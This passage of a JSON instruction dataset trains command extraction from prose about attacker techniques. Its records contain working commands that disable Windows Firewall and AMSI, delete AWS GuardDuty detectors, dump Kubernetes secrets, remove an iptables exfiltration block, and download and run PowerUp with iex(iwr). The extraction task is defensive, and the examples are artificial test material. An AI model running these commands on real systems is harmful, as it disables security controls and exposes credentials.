    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Instead of completely \"disabling\" iptables, adversaries may choose to delete a certain rule, which, for example, blocks data exfiltration via ftp.\nBy doing so, they may cause less noise to avoid detection. \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The read-only attribute can be cleared from a file or folder by executing this command: attrib.exe -r #{file_or_folder}\\*.* /s; By using the Windows utility attrib.exe, attackers can mark files as hidden to avoid detection, via the following commands:\nmkdir #{file_or_folder} >nul 2>&1\necho T1222.001_attrib1 >> #{file_or_folder}\\T1222.001_attrib1.txt\necho T1222.001_attrib2 >> #{file_or_folder}\\T1222.001_attrib2.txt\nattrib.exe +h #{file_or_folder}\\T1222.001_attrib1.txt\nattrib.exe +h #{file_or_folder}\\T1222.001_attrib2.txt\n",
    "output": "{\"command_list\": [\"attrib.exe -r #{file_or_folder}\\\\*.* /s\\n\", \"mkdir #{file_or_folder} >nul 2>&1\\necho T1222.001_attrib1 >> #{file_or_folder}\\\\T1222.001_attrib1.txt\\necho T1222.001_attrib2 >> #{file_or_folder}\\\\T1222.001_attrib2.txt\\nattrib.exe +h #{file_or_folder}\\\\T1222.001_attrib1.txt\\nattrib.exe +h #{file_or_folder}\\\\T1222.001_attrib2.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Rather than disabling iptables entirely, attackers may choose to remove a particular rule that blocks FTP traffic, which can be done with this command: iptables -D OUTPUT -p tcp --dport 21 -j DROP.; An adversary attempts to disable the Windows Firewall by modifying the registry with the following commands: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile\" /v EnableFirewall /t REG_DWORD /d 0 /f\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile\" /v EnableFirewall /t REG_DWORD /d 0 /f\n",
    "output": "{\"command_list\": [\"iptables -D OUTPUT -p tcp --dport 21 -j DROP\\n\", \"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\WindowsFirewall\\\\DomainProfile\\\" /v EnableFirewall /t REG_DWORD /d 0 /f\\nreg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\WindowsFirewall\\\\StandardProfile\\\" /v EnableFirewall /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using reg.exe in the cmd console, you can modify the registry to disable the networking icon Group Policy with the following command: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v HideSCANetwork /t REG_DWORD /d 1 /f. Keep in mind that certain Group Policy modifications may require a reboot.; Using reg.exe in the command prompt, you can hide the battery icon by updating the registry, execute this command: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v HideSCAPower /t REG_DWORD /d 1 /f. Be aware that ransomware has been known to exploit this technique.",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v HideSCANetwork /t REG_DWORD /d 1 /f\\n\", \"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v HideSCAPower /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For checking internet connectivity with a focus on SMB port 445 access, run the command: Test-NetConnection -CommonTCPPort SMB -ComputerName #{target}; An attacker with sufficient permissions could access all cluster secrets via the command: kubectl get secrets --all-namespaces",
    "output": "{\"command_list\": [\"Test-NetConnection -CommonTCPPort SMB -ComputerName #{target}\\n\", \"kubectl get secrets --all-namespaces\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can modify the registry to disable the File menu in Windows Explorer by executing this command via cmd: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoFileMenu /t REG_DWORD /d 1 /f. Be aware that a system restart might be necessary for the changes to apply.; Using reg.exe via the command prompt, you can disable the Shut Down command in Group Policy by executing this registry modification: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoClose /t REG_DWORD /d 1 /f. Be aware that a restart might be needed for changes to take effect.",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v NoFileMenu /t REG_DWORD /d 1 /f\\n\", \"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v NoClose /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary with administrative privileges can disable AMSI by modifying the registry value in HKCU\\Software\\Classes\\CLSID\\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}, using the following command to override the Microsoft Defender COM object for AMSI and point it to a non-existent DLL: REG ADD HKCU\\Software\\Classes\\CLSID\\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\\InProcServer32 /ve /t REG_SZ /d C:\\IDontExist.dll /f; For enabling GuardDuty in AWS followed by suspending and deleting the configuration, execute this command:\ndetectorId=$(aws guardduty create-detector --enable --region \"#{region}\" | grep -oP '(?<=\"DetectorId\": \")[^\"]*')\naws guardduty update-detector --no-enable --detector-id $detectorId\naws guardduty delete-detector --detector-id $detectorId",
    "output": "{\"command_list\": [\"REG ADD HKCU\\\\Software\\\\Classes\\\\CLSID\\\\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\\\\InProcServer32 /ve /t REG_SZ /d C:\\\\IDontExist.dll /f\\n\", \"detectorId=$(aws guardduty create-detector --enable --region \\\"#{region}\\\" | grep -oP '(?<=\\\"DetectorId\\\": \\\")[^\\\"]*')\\naws guardduty update-detector --no-enable --detector-id $detectorId\\naws guardduty delete-detector --detector-id $detectorId\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
